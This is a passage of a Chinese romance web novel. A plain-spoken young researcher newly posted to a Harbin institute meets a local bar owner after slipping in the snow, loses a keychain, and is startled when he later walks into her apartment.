《正是冬雪沸腾时》 1. 今夜有雪01 <正是冬雪沸腾时>文/斯行一 晋江文学城独家发表 “沿着滨洲线一路向北直至冰城,这里下了一场大雪,掩埋了一封名为“缘分”的情书,于是北国的故事开始了。” *** 本地气象公众号早在一个月前就发出了预计哈尔滨今年迎来寒冬的信号,步入十一月下旬,晚间气温已经降至零下十八摄氏度,漫天卷地的大雪笼罩了这座城市。 晚上九点,洪湖路35号楼建森严的研究所灯火通明。 丛宜坐在工位电脑前确认完最后一遍实验数据,果断关上电脑,微微仰起脑袋,腾出手用力揉了揉酸痛的颈椎。 天花板上的白炽灯光亮照得人视线模糊,缓缓地眨了眨眼适应后,丛宜才起身开始收拾桌面上的材料。 军工研究所的工作特点之一就是常态化的加班,基本很少会有和招聘时说的下班时间一致的情况,丛宜其实很讨厌加班。 在她看来,加班就像是一个吃饱撑了还要不餍足觅食的“阴暗老鼠”,不知不觉就“啃食”掉了她很多的自由时间,尤为可恶。 收拾好背包,还没来得及等她背上,就被由远及近的声音叫住了。 “丛工这就下班了?” 来人是她们这个项目组的组长赵守正,一位戴着黑色方形眼镜的中年男性,因为近视度数太高所以镜片很厚,衬得他的眼睛仿佛一直眯着。 第一次见他,丛宜仅仅看了两眼,就兀自把这人认定成技术很强的科研人才。 为什么这么说? 因为眯眯眼型的人大多都深藏不露。 至少在她看的为数不多的著名动漫之一《海贼王》里的罗罗诺亚索隆,就是这种平时眯眼一睁眼就开挂的战力天花板人物。 不过,在调来七〇三所的这一个多月来,从宜还没有看见赵组长真的睁大过眼睛。 赵守正这会儿突然问她这个问题,不知道是什么意思,应该不可能是出于组长的人文关怀,因为如果是这样,他就不应该在要下班的时候跟她搭话,占用她的时间。 丛宜并不打算揣摩和思考原因,脑子里过了一遍今天的任务,确保自己完成后格外自信地点了点头,理直气壮: “是的,要下班了。” 此时,赵守正背着手已经走到了她面前,略带深意地扫了扫周遭还在忙碌的同事,但凡懂点眼色的职场人就能解读出来他的潜台词,无外乎: ‘别人都还没下班,就你要下班了,你很特殊?’ 只可惜,从宜不是个普通思维的‘牛马’。 虽然疲惫的身体明确告诉她到下班点了,但她还是严谨地看了眼手腕上的电子手环,随即发出诚挚疑问: “赵组长,您还不下班吗?” 这话一出,几个同事纷纷投来诧异和惊悚的目光,悉数汇聚到丛宜的身上。 牛批! 是挑衅吗? 是吧,这简直就是毛茸茸的钢板啊! 但,怎么说呢,又不像。 毕竟他们这位面色纯良可爱的同事此刻的表情也的确格外诚恳,看起来就像是单纯没意识到这句话有多炸裂和不恰当。 赵守正表情一下子就变了,眉头往下压得眼睛更窄了,愣是被这句话呛得一时间没了反应。 虽说也共事了一个月,但这位给他带来的冲击力和杀伤力还是一次比一次强。 他原以为从上海研究所调过来的,能适应的工作强度必然远超他们哈尔滨研究所,又或者处事灵活,年轻人也好拿捏。 谁能想到,偏偏这姑娘是个另类,还时不时地冒出一句能噎死人的话。 丛宜也没别的动作,一味地盯着对面人等着他的下一句话,毫无说错话挽救的自觉性,眼神干净又纯粹。 过了有两分钟,赵守正绷着脸下命令:“你把今天的实验报告发给我再下班。” 实验报告? 丛宜在心底默默叹了口气,为什么赵组长总是不能及时地接收查看她的消息呢。 “我一个小时前已经发给您了。” 赵守正脸色一白,窄窄的眼皮都被撑大了,表情愈发扭曲。 办公室瞬间拉开一场毫无硝烟的战争,气氛说不上是剑拔弩张,但显然也并不和谐。 而挑起战火的当事人丛宜此刻注意力全落在赵守正脸上,试图观察他睁开的眼睛,只可惜还是不够大。 一旁的同事宋知岚见状适时站起来打圆场。 “赵组,您肯定是工作太忙这才没来得及看丛工的消息,丛工她也有疏忽,没能跟您确认消息。不过丛工每次办事效率也都是最高的,这都是多亏有您前期帮忙带着,她工作完成好给您和咱项目组都减轻负担,您消消气。” 宋知岚这话算是保住了赵守正的面子,还递出了完美的台阶。 但丛宜听这话眉心也跟着皱了起来,眼里浮出来疑惑。 她刚调来所里的时候,带她的明明是大她两岁的宋知岚,赵组长只是发给她一份员工守则,并且严厉地告诉她这里和上海所里的工作纪律不一样,让她尽早适应。 不过看着赵守正极差的脸色,和手背上被宋知岚悄悄拍了一巴掌的痛感,理智向丛宜的大脑释放信号,这个时候她不应该说话。 于是,在宋知岚的调和下,赵守正睨了丛宜一眼,冷哼一声:“你真行!” 转而扭头,步伐重重地走了。 把人目送走,宋知岚脱力地肩膀一塌倒在办公椅上,狠狠松了口气,对着丛宜感叹: “祖宗,你说你惹他干什么,敷衍着当个屁放得了,你不知道他本来就看你不顺眼啊。” 她们这个组长人如其名,刻板固执,工作上的形式主义和上下级官僚主义看得太重,整个组都要对他毕恭毕敬才行。 但是丛宜没有这个观念,她觉得做项目那就专注项目进度就好,花费时间拉近与组长的距离并不能够让她更快地完成任务。 丛宜刚来的第一天,实验数据出错得不出结果,全组一筹莫展,最后是她发现了赵组气动损失测验环节的细节问题,当场提了出来。 这种在研究里都是常事,但赵守正觉得挂不住面儿,对她难保不产生意见。 再加上一开始项目联调,上海七〇四所原计划派来驻场的是一位十几年工作经验的研究员,但这位因为家里临时有事没法调动,最后综合各方因素把参加工作两年的丛宜派了过来。 资历深的换成资历浅的,赵守正更是觉得上海所里那边的诚意不够,于是矛头便对准了丛宜。 但在这一个月里,丛宜的工作表现没得挑。 从就读上实十年制,到上海名校能动专业本硕毕业再到进入研究所工作,丛宜不过二十五岁,对待科研的态度甚至比多年工作的前辈都要认真负责,专业能力也很强,唯独性格实在算不上圆滑。 当然,当事人这么些年来一直如此。 听完宋知岚的话,丛宜从桌子上拿出纸杯,平稳地倒了杯温水递给她,语气认真: “我没有想惹他,我只是实话实话,而且赵组长不是说“我真行”吗,我就当他是在夸我好了。” 宋知岚刚灌进嘴里的一口水卡在嗓子里,瞬间被呛得满脸通红,上气不接下气,还不忘给丛宜竖了个大拇指。 “妹儿啊,原来你才是顶级心态。” 一点儿不内耗,心里不存事儿。 丛宜在听到宋知岚的称呼时眼底冒光,嘴角漾开不好意思地发出请求: “岚姐,可不可以再喊我一声吗?” 画面幻视苍蝇搓手手,摩拳擦掌,满是期待感。 “什么?” 宋知岚被她跳脱的思维落在后面,斜眼挑眉,试探性地又喊了一句:“妹儿、啊?” 丛宜瞬间神情满足,小鸡啄米点头:“嗯嗯,很好听。” 东北话果然还是要东北人来说,研究所虽说是在哈尔滨,但其实大多都是外地人毕业后留在这里,包括组长赵守正也不是本地人,丛宜觉得整个项目组只有宋知岚说得特别地道。 大碴子味儿冷不丁被评价好听,宋知岚被哄得心花怒放,伸手勾了勾手指。 丛宜不明所以,但听话地弯腰凑近。 下一秒,感觉到自己的脸颊被指腹捏了一把,变形,然后回弹。 始作俑者弯唇满意评价:“手感不错,是我想象中的光滑细腻。” 南方水土到底是养人,打从这姑娘来,宋知岚每天面对着这张漂亮白净的脸蛋儿蠢蠢欲动,想摸。 丛宜仅仅用了五秒就接受了自己被“占便宜”的事实,茫然过后,心下不由得忧愁思考: “岚姐知不知道随便捏别人的脸,是真的会被当成轻佻的流氓的。” 经历一段插曲 ,告别完宋知岚,丛宜如愿以偿下班。 外面的雪丝毫没有停歇的架势,在上海养成了出门带伞的习惯,在哈尔滨的雪天倒也能用上。 这是丛宜来到这里经历的第二场雪,前几天下过一次,从见到雪的惊喜到在雪天行走狠狠滑了一跤后,面对今晚的大雪,丛宜显得如临大敌。 一深一浅地走到地铁站,坐完九站还需要过马路步行一段距离才能到她租的房子。 丛宜每次走这段路都很惆怅地思考,为什么地铁站不能建在住宅区的门口,这样她就不用在雪夜裹得严严实实,像个胖乎笨重的软趴趴海豹,试探性地踩雪走路了。 眼前一片白茫茫,仿佛是给自己打气,丛宜往嘴里塞了一颗随身携带的糖,慷慨迈步。 脚下的雪伴咯吱咯吱地响,刚走出一段,羽绒服口袋里的手机嗡嗡震动。 灰粉色的保暖手套艰难地插入口袋里取出手机,来电显示是“妈妈”,丛宜的母亲方若华。 “喂,妈妈。” 方女士听见这头隐约的风声和自家女儿憋在口罩里的闷声闷气,就知道是刚下班在外面,关切地开始询问: “是不是下雪了,妈妈刷到网上视频发你那边雪很大,穿上给你新买的羽绒服了吗?” “还有帽子和围巾每天都戴着了吧,你刚去没多久,还是要慢慢适应气候。” 丛宜边点头边回答:“我都穿了的,很暖和,但是妈妈,不是说好了要买黑色的羽绒服,为什么还是粉色的呢,是商家发错货了吗?” 方女士闻声表情微微波动,很快恢复如常,温和地笑着认错:“哎哟,不好意思乖乖,妈妈习惯了,应该是颜色选错了。” 丛宜有点遗憾,毕竟她真的觉得黑色羽绒服酷酷的,穿上神似忍者,但是她一件都没有。 方女士对自家女儿作保证:“下次,下次一定记得给你买黑色。” “好吧。” 丛宜嘴上应声,心里其实已经盘算着并安慰自己,没关系,她可以自己买一件。 衣服的话题被掀过去,方女士语气忧心地问她:“这几天和同事相处的怎么样,有没有交到朋友?” 丛宜思考了几秒,轻快地选择性汇报自己的人际情况。 “我跟他们相处得很好,组长今天夸我了,而且爸爸说得对,东北人是很热情仗义,我们组里就有东北人,她人很好。” 电话那头的方女士在听到女儿口中的称呼时显然一滞,随即不动声色地轻吁了口气:“那就好。” 母女俩来回聊着,丛宜走到了在人行道的一侧,马上要过红绿灯,便挂断了电话。 换上雪地胎和防滑链的车因为红灯停了一排,对面的绿灯亮着,不知道亮过了多久,丛宜纠结一番还是往前走了。 兴许是人行道被车轮来回碾压,前几天的雪午间化一部分夜间又冻上,今夜又覆了一层新雪,走起来格外艰难,一小段路走得丛宜提心吊胆。 眼看着就剩几步,绿灯在此时开始不留情地闪烁。 丛宜有些着急,步子不由得地开始加快迈大。 最后一步刚迈出去,脚还没踩实,熟悉的感觉顿时袭来,左脚控制不住地开始打滑,下一秒,她整个人直溜溜地往后倒,结结实实地半仰躺在雪地里。 丛宜一瞬间脑子里想的是,她一定要去找u某g家的客服,如实告诉她们,这款雪地靴一点儿都不防滑,广告词虚假宣传是会被投诉的! 摔倒在马路边实在不是什么光彩的事,再加上后背上的双肩包鼓鼓囊囊膈着很不舒服,丛宜努力地坐着挣扎,企图要站起来。 但是她低估了方女士给她买的这件羽绒服的臃肿程度,愣是来回起身了几次都没能顺利站起来。 缓了一会儿后,丛宜胸口起伏深吸一口气,开始蓄力,帽子因为挣扎的动作滑落,软塌塌地挡着眉眼,她还算耐心地伸手拨了上去。 视线清晰的这一刻,眼前突然闯入了一个高大的身影,来人穿着黑色工装羽绒服,肩头上落了细碎的雪,微分美式前刺也覆了一层薄雪,衬得他整个人清爽利落。 段竞洲就是这时候出现的。 他眉峰微蹙,眼尾轻轻下压,目光直白地落在丛宜的身上,声线带着寒冬的清冽轻薄: “喂,这儿不让cos海龟。” 2. 冰箱养鱼02 为什么说是“海龟”呢? 因为在段竞洲的视角里,就是空茫的雪地里一开始半躺了个圆鼓鼓的粉色团子,背后还立着个双肩包,现下正努力笨拙地咕涌试图起来。 哈尔滨的冬天气温低,再加上大雪,晚间的外面基本没什么溜达的人。 段竞洲也没成想,自己不过是出门吃个饭的功夫能碰上这一出儿,作为一个地道的本地人,在这里生活了二十多年,他还没见过这么“滑稽”的场景。 当下的第一反应是走过去,伸出个援助之手。 但脚抬起的一瞬之间,他改变想法了。 这么看过去,虽然看不清楚对方的脸,但也知道是个女孩儿,小姑娘一般脸皮儿薄,他这样贸然上前万一显得多余容易让人觉得尴尬。 思及此,段竞洲毫不留情地收回了那半脚。 当然,他也没真的不善良到直接扭头离开,就那么站在不远处,隔着一小段距离看着。 丛宜丝毫不知道自己就这么被人关注了,还格外努力地与滑溜溜的地面“抗争”。 段竞洲越是看下去眉头锁得就越紧。 这地面有这么滑?还是说这姑娘有这么笨? 眼看着蓄完力一口气离开地面,结果又不争气地一屁股滑坐下去,来回这么几次,她搁这儿仰卧起坐练卷腹呢。 正值有风吹过,带起了地面表层松散的雪。 估摸着也就过了三分钟,段竞洲看着不远处的人泄劲,脚冷不丁地轻踢了一把地面,报复似的。 眉宇间的紧皱被这动作带得舒展开来,唇角无意识地往上微扬,一阵笑意轻淡的气音从喉间溢了出来。 这就放弃了? 成吧。 安全至上,他这下倒是没什么理由再袖手旁观下去,眼下把这只自覆的“海龟”救了才是当务之急。 于是,这位哥终于是迈出了自己尊贵的步伐。 段竞洲出现在丛宜面前的那一刻,丛宜甚至以为是眼花带来的幻觉。 看久了白皑的雪,眼前会有明显的雾霭感,物理上称之为极致反光造成的视觉错位,当然也不排除可能是她一直戴着口罩呼吸不畅,频繁使力后导致的短暂性大脑缺氧。 或者,更可能是眼前人出现时,马路边竖立的路灯昏黄的光倾洒在他背上,恰逢其时地笼罩起了一层光圈,而又很恰好的是,段竞洲是个帅哥,还是丛宜所认为的标准性帅哥。 近一米九出挑的个头,是在她们南方大多数男生中难以达到的身量,肩背舒展,整个人挺拔有型。 段竞洲的五官极具冲击性,左耳戴了个黑色的耳钉,鼻梁高挺,下颌线的线条是很自然的利落感,偏长的眼形与略高的眉骨,加之眼尾很小弧度地上扬,看人的时候自带一种压迫感。 既有拿得出手让人一眼就关注到的优越脸,又有冷淡倨傲的那股劲儿。 抛开个人眼光差异,如果真的有人觉得这不算帅,丛宜可能会认为这个人大脑的奖赏系统可能出了点问题,需要多看一些帅的脸才能被激活。 盯着人看意识抽离之间,直到听见了面前人开口的一句“喂,这儿不让cos海龟”,丛宜才回神有了实感。 cos? 她怔愣了几秒,恍惚解释:“我不是在cos。” ? 段竞洲有些意外,和他想象中这姑娘会觉得摔倒而尴尬丢人的反应不一样,反倒还坦坦荡荡,一本正经地反驳起了他随口调侃的话。 不过他可没有居高临下和别人说话的习惯,没接话下去,转而弯腰伸出右手示意: “地上凉,起来。” 察觉到他的好意,丛宜自然不会拒绝。 刚搭手还没想好要怎么放,就被有力的手掌直接架在了肘弯上面部分,耳边响起提醒: “抓小臂。” 两人的胳膊长度差距大,这样的动作下丛宜也只能抓着他的小臂,脑子里快速预演了下姿势,她果断地把手掌覆了上去。 隔着衣袖,丛宜都能感觉到身前人结实紧绷的手臂,透着可靠感。 紧接着,腾空的感觉袭来,在绝对力量面前,丛宜很轻易就对重力进行了暂时的反叛,而后稳稳当当地站在了地面上。 能自主控制身体的感觉真好。 轻轻跺了两下脚确认自己踩实了,丛宜拍了拍衣服表层的浮雪,不加掩饰地开心,语调明显欢快许多: “谢谢你。” 先前的动作使两人的距离拉近了些,温润的声音此刻轻巧地钻进耳朵里,听惯了身边满口豪爽敞亮的东北语调,猛地这个动静,段竞洲冷不丁地耳根子一软,脑子一闪而过笃定的猜测。 指定是南方人,东北人可说不出这么黏糊的劲儿。 身前人站直头顶堪堪正对着自己的肩膀处,段竞洲微微低头就能迎上这姑娘弯起的眼眸。 她戴着口罩看不见全脸,奶白色的帽子又遮挡着额头,于是他的视线只能聚在那双浅褐色眸子上。 呼出的湿热水汽无法散开遇冷成液态附着在睫毛上,衬得眼睛愈发饱满澄澈,灵动得仿佛会说话。 段竞洲神色自若,往后撤了一步边说:“客气。” 丛宜见状,伸手往上扶了扶双肩包的肩带,也跟着后退了一小步。 怎么着,跟他较劲? 段竞洲看不明白她动作的意味。 不过丛宜还真就没别的意思,在她看来,有的人就是不太喜欢和别人靠得太近,眼前的就是如此,拉开距离可能对方会更舒服,所以她就这么做了。 落定脚步后,丛宜想起什么,摸了摸羽绒服口袋冷不丁地问:“你喜欢吃糖吗?” 段竞洲眉心微不可察地皱了下,跟不上她的思维,索性也不揣摩,由着心意硬声否认:“不喜欢。” 大多数男人都不爱吃这种甜叽叽的玩意儿吧,吃完腻歪得张不开嘴。 被冷硬的回答打断了后续的动作,丛宜语调明显惋惜地低了几分:“啊,那好吧。” 这个语气,段竞洲大概猜到了她是什么想法了,虽说是举手之劳但女孩大多细腻可能会过意不去,于是随意地扯谎:“偶尔也会吃。” “真的吗?” 丛宜的瞳色倏忽亮了些,这才没什么顾忌地把口袋里的糖掏了出来。 “这几颗给你,很好吃你可以尝尝,糖分可以快速补充能量,还能分泌多巴胺调节情绪,是有益的。” 段竞洲眼皮下塌,目光落在捧着糖献宝似的摊平在自己面前的手掌,有那么一瞬间觉得眼前这姑娘像那什么?有魔法口袋的蓝色胖子。 此刻正搁这儿施魔法呢。< /p>不是什么贵重东西,他也懒得推搡客套,随意地捏了几颗,也没什么兴趣看包装就直接收了起来。 见他给自己留了两颗,丛宜心下愉悦,盘算着自己一会儿要把这两颗吃掉,于是格外宝贵地装回了自己的口袋里。 倒不是说她抠,是因为这款糖她很喜欢只不过经常断货会买不到。 忙也帮了,谢也道了,段竞洲自觉他们两个陌生人萍水相逢,站路边也没什么话可聊,再说他本来就不是个健谈的人,刚要张口说再见就被抢了先。 “我能不能问问,你为什么会说我是在cos海龟?” 丛宜小幅度地歪了歪头,满是对这个问题的好奇。 段竞洲脑海里再次浮现她摔倒的画面,言简意赅地吐字:“像。” 像吗?丛宜脸上凝着纠结,没吭声。 看她这样段竞洲寻思自己话说重了,以为她是在意这个形容,正想解释就被打断了。 “不对。” 丛宜不认可,“海龟是不会出现在雪地里的,这相当于是在冰箱里养热带鱼,不符合常理,应该说更像海豹。” 她也知道自己摔倒很笨拙,并且海豹常驻雪地,这很科学。 短短几分钟,这已经是第二次段竞洲不知道怎么接她的话,不知道的以为两人在这儿走进科学与自然呢。 他干脆顺着敷衍地应了下去:“你要这么说也行。” 得到了满意的回答,丛宜也没再“科普”。 气氛变得静默,段竞洲不会热络聊天,丛宜更是不擅长。 冬天的冷风一阵又一阵吹,她吸了吸鼻子决定跟人道别:“谢谢你刚才帮我,我要先走了。” 通知性的告别,段竞洲竟还觉得有点儿能适应她说话的方式了,平淡地嗯了一声后又好心提醒: “慢点啊,道儿滑。” 这句尤显天然的东北慵懒腔调,话语之间满是松弛感,不费力地就抓人耳朵。 丛宜的听力有着明确绝对的择优标准,眼前人的声音显然在标准之内。 她认为今晚自己的耳朵受到了极致的享受,此刻更觉得他热心肠,好印象蹭蹭往上涨,重重地点了点头: “你也是,要小心。” 虽然看起来走雪路段竞洲要比自己游刃有余很多,但谁也不能保证就一定万无一失。 想到什么,丛宜又一本正经地补充: “不过真摔倒也没关系,是地心引力和重力的问题,雪天地又很滑,人在下雪天气本来就是会一败涂地的。” 呵。 段竞洲心底直乐,难怪呢,这姑娘不觉得摔倒是件尴尬的事,敢情这思维境界都远超乎世俗了,挺会挽尊。 就这自己帮人前还搁那儿替人考虑,这不就纯属多余么。 段竞洲嘴角抽动:“那祝你少败几次?” 丛宜听不出来调侃,信誓旦旦:“我会的。” 她已经摔了两次了,吃一堑长一智,她不会是一直停留在原地的笨蛋。 礼貌又秩序地挥动右手跟段竞洲说完再见,丛宜踩着路灯的光亮继续谨慎地往前走了。 被落在后面的段竞洲盯着她的背影看了几眼,长款羽绒服厚厚地裹着小腿,走起路来步子小又有些晃荡。 还真别说,是挺像海豹。 3. 从天而降03 丛宜走后,段竞洲也打道回店。 旁人这个点早就下班回家休息,然而他在这个点正是忙的时候。 段竞洲这人谈不上放浪形骸,但也绝不算循规蹈矩,大学毕业后尝试性地干了几份工作,少说也攒了些积蓄,后来瞄准商机低价盘了家快倒闭的台球馆,改造成了一家酒吧。 确切来说应该叫作慢摇吧,介于livehouse与清吧之间的一种新型娱乐场所。 生意固然不好做,酒吧刚开业也不景气,不过段竞洲脑子活,对酒吧定位还算清晰,所谓食色,性也,来酒吧放松被俊男美女服务自然就是流量密码,这没什么好难以启齿的。 从调酒师、驻唱、DJ、MC再到服务员等等,他店里没一个颜值不抗打的,再加上造势宣传,酒吧生意很快就红火了起来,当然,酒水服务的硬件也丝毫不落下。 再后来所处的那条街逐渐繁华,成了远近出名的“腐败街”,各种吃喝玩乐的商铺一应俱全,酒吧的客流自然也就持续不断。 身边所有朋友说段竞洲这人就是做生意的料子,但按他爸妈的话来说就是“有那脑子,不用在正地方,净整些没用的,白瞎了”。 毕竟他这人上学时期,成绩实在太差,否则也不会让他爸妈成天担心考不上大学索性把他送到俄罗斯留学,水了个国外本科学历回来,说起来也是留过洋有学历,不至于太跌面。 段竞洲觉得自己过得也算凑合,有吃有喝有钱赚,过一天是一天,父母眼里不正经的职业他做得很闲散自在。 白天休息,晚上营业,换句话说他不过是上班时间跟大多数人不一样罢了,这会儿他不也挺上进地去“上班”。 微信语音通话铃声响起,高天打来的,他高中处到现在的兄弟。 电话一接通,嘈杂带感的音乐声灌入耳朵,自己地盘的氛围段竞洲早就习惯了,眉头不带皱一下的。 “有事儿?” “事大了!你再不回来你兄弟我就得出命案了。” 高天说话向来夸张亢奋,段竞洲没当回事,语调平平:“命案你找卫砚,这一带他一警察归他管,跟我没关系。” “别,这次还真有关。” 高天不干了:“别怪兄弟不提前报信,冯书艺这会儿就在酒吧等着堵你呢。” “不是哥你吃个饭是给人刷盘子了去这么久,再不回来她可真要逼死我了。” 哪儿有姑娘在男厕所外面蹲着他套兄弟消息的,两秒喊一次,这谁能尿出来,前列腺跟着他都遭老罪了。 听见这个名字,段竞洲眉心直皱,“知道了,就回去。” 挂断电话,他脚步放快,结果刚走两步被后面人喊住了。 “兄弟,这玩意儿是你的吧?” 喊他的大哥手里捏了个蓝色小海豚的钥匙扣挂件,看起来干干净净的,八成就是谁掉的。 但明摆着女生的东西怎么可能会是段竞洲的。 “哥,这不是我的。” “那就是你对象的。” 大哥语气笃定,手指了指方向:“路过我远瞅着就只有你俩站那,我就在那路边捡的。” 对象?名字都不知道的对象么。 闹挺大一误会。 段竞洲只当不知者无罪,瞥了眼那个挂件,想起刚才认真向他科普海洋生物习性的那位,也能猜到估计就是她的,毕竟这也是海洋生物,但他不想多管闲事。 萍水相逢,南方人来这边大多是来旅游的,他上哪儿还去。 于是,段竞洲没什么善心地装傻充楞:“我不清楚是不是她的。” 谁知道这大哥也不是个墨迹人,半塞着给他:“甭琢磨了,不行你拿回去问问,是就当物归原主,不是一甩手丢垃圾桶得了。” 说完直愣愣就走了,丝毫不给推拒的机会。 段竞洲捏着这小东西盯了几秒,顺手装进了口袋里,看缘分,能还就还。 到酒吧后,段竞洲轻车熟路地找员工例行询问,了解完酒吧今天客流、爆品、客馈等等才往自己的卡座去。 高天一看见他跟薅到救命稻草似的急忙迎上去,“哥你可算回来了,大小姐马上要把店给掀喽。” 段竞洲脚步不停,“出息。” “段竞洲!” 高天身后的冯书艺适时跟出来,踩着洋气的高筒小皮靴,精致妆容的小脸上尽是不满,“你为什么不接我电话,是不是把我拉黑了?” 段竞洲面无波澜,“我不接陌生来电。” “你居然连我电话都没存!” “找我有事么?”段竞洲不理她脾气,闲散地坐到沙发上。 下一秒,身旁的位置凹陷下来,冯书艺凑过来。 段竞洲这人顶着张万花丛中游刃有余的脸,实则平时跟异性很少接触,也不习惯,直接起身转到了单人沙发。 冯书艺连着被下了两次脸,惯来在家里备受宠溺的宝贝能忍到现在已经是极限了。 但盯着那张完全在她审美点上的脸,又不争气地想妥协,默默自我安慰,‘不生气,等她把人追到手怎么着还不是她说了算。’ 平复好心情,冯书艺从手提包里掏出了一张音乐会的演出门票,“这周日有场音乐会,我会演奏小提琴,你到时候要来。” 生怕他找借口,跟着又补了一句:“你店里晚上才忙,不会没空的。” 段竞洲看也没看,来了句:“我一粗人看不懂高雅艺术,就不凑热闹了。” “那你可以只看我。” 好一套丝滑的直球进攻,一旁的高天直接看呆了。 大小姐不善的眼神瞥了他一眼,像是在说“看什么看,没见过追人。” 段竞洲清楚今天要是不收下这票,指定会没完没了,索性搪塞:“看情况。” 票送出去,冯书艺一点没有要走的意思,一直在没话找话。 其实倒也正常,面对自己喜欢的人,谁都会想多搭话。 不过,俗话说“烈女怕缠郎”,反过来也是一样,段竞洲招架不了,也懒得应付,找了个借口去洗手间给卫砚打了个电话。 段竞洲、卫砚、高天都是高中好友,可谓铁三角,说白了要不是因为先前卫砚带着自家表妹也就是冯书艺来店里,也不会一眼就看上段竞洲,从此追得一发不可收拾。 没过几分钟,冯书艺就接了个电话,明摆着不情不愿离开了。 见人走后,高天松了一口气,问他:“音乐会你不去吧?” “不去。” “妾有情郎无意啊。”高天感叹: “冯书艺也真有毅力,你都拒绝多少次了,还不肯放弃,要我说你这张脸真是祸害人。人不都说女追男隔层纱,我看你这隔着个东非大裂谷。” “学几天地理显摆成这样。” 段竞洲嘴上不饶人,边说边把口袋里鸡零狗碎的东西拿出来丢到了桌上。 高天凑跟前看清桌上的东西,眉头直抽,“你拿这什么玩意儿,玩偶?还有这糖哪来的,我怎么不知道你还吃糖。” 不提还好,一提段竞洲就想起来雪地那回事,解释:“别人给的谢礼。” “就给几个糖啊,谁这么小气?”高天没一搭地吐槽。 段竞洲睨了他一眼,“咱做人有点礼貌成吗。” 挑三拣四什么呢。 高天立马鸭子手动瘪嘴,转而捏了个糖快速剥开送嘴里。 结果没嚼几下猛地端起手边的杯子狂灌水,倒嘶着牙:“诶哟我,齁甜。” 段竞洲这才看了眼包装。 哦,太妃糖…… 耳边那句温润的“谢谢你”似乎又回荡了,一下子找到了形容,那嗓音就跟化开的太妃糖似的。 听高天说齁,段竞洲到底没吃,揽过糖和挂件一股脑地全塞到了桌下面的抽屉里。 丛宜是在第二天早上背上双肩包正要去上班的时候才察觉到她的海豚丢了。 她回忆应该是掉在了昨晚摔倒的地方,但她早上在路上找了很久也没找到,卡点到研究所还是一副恹恹的样子。 丛宜平时都是准确提前十分钟到,宋知岚见她今天卡着点到还觉得稀罕,看到她挂脸的神情意识到是有事了,边换着工装边问: “咋了,跟姐说说遇到啥不开心的事了。” 丛宜告诉她,宋知岚听完豪气地挥手:“小事儿,周末姐带你去商场的扭蛋机,咱再多扭几个。” “没有了。”丛宜摇了摇头。 海豚系列第一个挂件是小的时候丛父在老式扭蛋机里扭出来送她的,过去很 多年,这种扭蛋机和挂件系列越来越少,丢的这一个还是丛她几年前巧合幸运得来的,背包换了几个,挂件从没换过,早就寄托着厚重的情感。 以至于在丢的那一刻,丛宜的心脏超乎正常频率地跳了许久。 解释完缘由,宋知岚沉默了几秒,故作轻松地摸了摸她的头安慰:“别急奥,我给你问问身边朋友,看有没有人知道卖这个的。” 即便再念旧和钟情,真找不到也没办法,宋知岚清楚但还是格外尊重丛宜的想法。 现在的盲盒种类繁多,丛宜这个很不起眼也很少生产了,她也知道应该不会有人有这个,不过身体还是经历了一场“化学风暴”,感动得眼汪汪,“岚姐,谢谢你。” 由于丛宜并不相信海豚就这么不翼而飞了,她更寄希望是被人捡走了,而她能想到的就只有昨晚帮她的那个能让大脑奖赏系统活跃的帅哥。 于是,她决定蹲他。 一面之缘,不知道联系方式,这是丛宜能想到唯一的办法,当然这一切都要建立在他还是会走那条马路。 算着差不多的时间,下班后丛宜原路返回。 夜间气温依旧低得刺骨,她在那条路上等了有半个小时,车辆稀零来往,到底是没等来那天似的段竞洲的“从天而降”。 接连三天,她都不死心地去蹲,无果。 丛宜明白这是自身的损失厌恶心理在作祟,除了她或许不会有人在意这个东西甚至捡起来带走,但即便如此,她认为还是要适时顺从心理,才能让自己好过。 又过了一周,丛宜所期盼的那位还是没出现,在她以为不会有转机时,上帝到底是于心不忍又给她开了一扇窗。 周四那天,项目组几个部件性能测验很顺利,丛宜下班得还算早,晚上八点已经在家了。 洗过澡换完睡衣拿出了自己的画具坐在了客厅里。 丛宜的妈妈方若华是位教师,从小对丛宜的学习和成长抓得很严,原打算是培养她古典舞的兴爱好,但上兴趣班的第一天,趁休息丛宜不打招呼地坐到了绘画班的教室。 后来方若华问她‘为什么想学画画’。 五岁的丛宜回答:“妈妈,绘画教室很安静。” 不会像舞蹈教室一样,老师试图超出人体正常柔软程度地让学生尽量弯曲,导致教室满是嚎啕的哭声。 那时丛宜不明白,人怎么可能会像魔尺一样来回折叠扭转。 后来,她每次上兴趣班,路过舞蹈教室都会悄悄地观察那些小朋友的腿是否还健全。 对于丛宜而言,绘画是她不能丢下的爱好,比如现在,海豚丢了,她还可以凭借记忆画下来,虽然没了实物,但还留有念想。 一旦进去状态,丛宜就会格外专注,所有的注意全锁在了画纸上,甚至于防盗门的门锁被插入钥匙的声音她都没听到。 伴随着锁芯的“咔哒”一声,丛宜这才抬起了头。 晚上,异地,独居,女性,门被从外面打开了。 一阵恐慌感顿时涌了上来,脑海里闪过多条曾经看过的独居女性出意外的新闻报道,丛宜心脏沉闷地怦怦跳动,呼吸都带着小心翼翼地迟缓。 安静的室内,所有的感官在这一刻高度灵敏,神经系统异常紧绷。 耳边的动静是脚落地的闷声,但这声音很奇怪,不够小心,反倒很闲散,听起来颇有一种堂而皇之的架势。 即便是入室行窃或是什么,大多蹑手蹑脚谨慎干脆,而且她还开着灯也不做好专业的踩点吗? 当然也不排除有暴徒就是这么大胆。 丛宜大脑高速运转,手机在桌子的另一端,她吞咽了下嗓子,瞄准目标后轻手轻脚动作却又很利索地去够。 不方便开口便快速按完“12110”,编辑完地点和简单的情况,还没点下发送键,登堂入室的人已经站到了客厅。 丛宜也借着室内灯光看清了来人的全貌。 视线交汇的半分钟里,空气像是凝滞住了。 双方都在打量,势必要在彼此的眼眸里认清对方,最后是一声短促带着意外和惊喜的轻呼打破了这场沉默。 “啊,是你!” 丛宜那双浅褐色的瞳孔盛满了段竞洲的身影,翘首以盼里,他果然还是奇妙般地出现了。 4. 乌龙闹剧04 如果说这个社会必然要沿着熵增定律从而混乱无序地进行,那么最终的归宿一定也只会是能量守恒。 这是丛宜心中的世界运行秩序。 她意外丢了挂件,这是无序,但是她猜想捡到挂件的人此刻就出现在她面前,而这是守恒。 兴许是初遇对段竞洲的印象很好,所以深夜被别人开门进来的未知恐惧感在这一刻也缓缓消散,取而代之的是惊异和欣然。 丛宜已经起身站到了段竞洲的眼前,但他看起来并没有认出来自己。 段竞洲沉眸顿住,眉眼紧拢,对眼前的人和场景完全懵住。 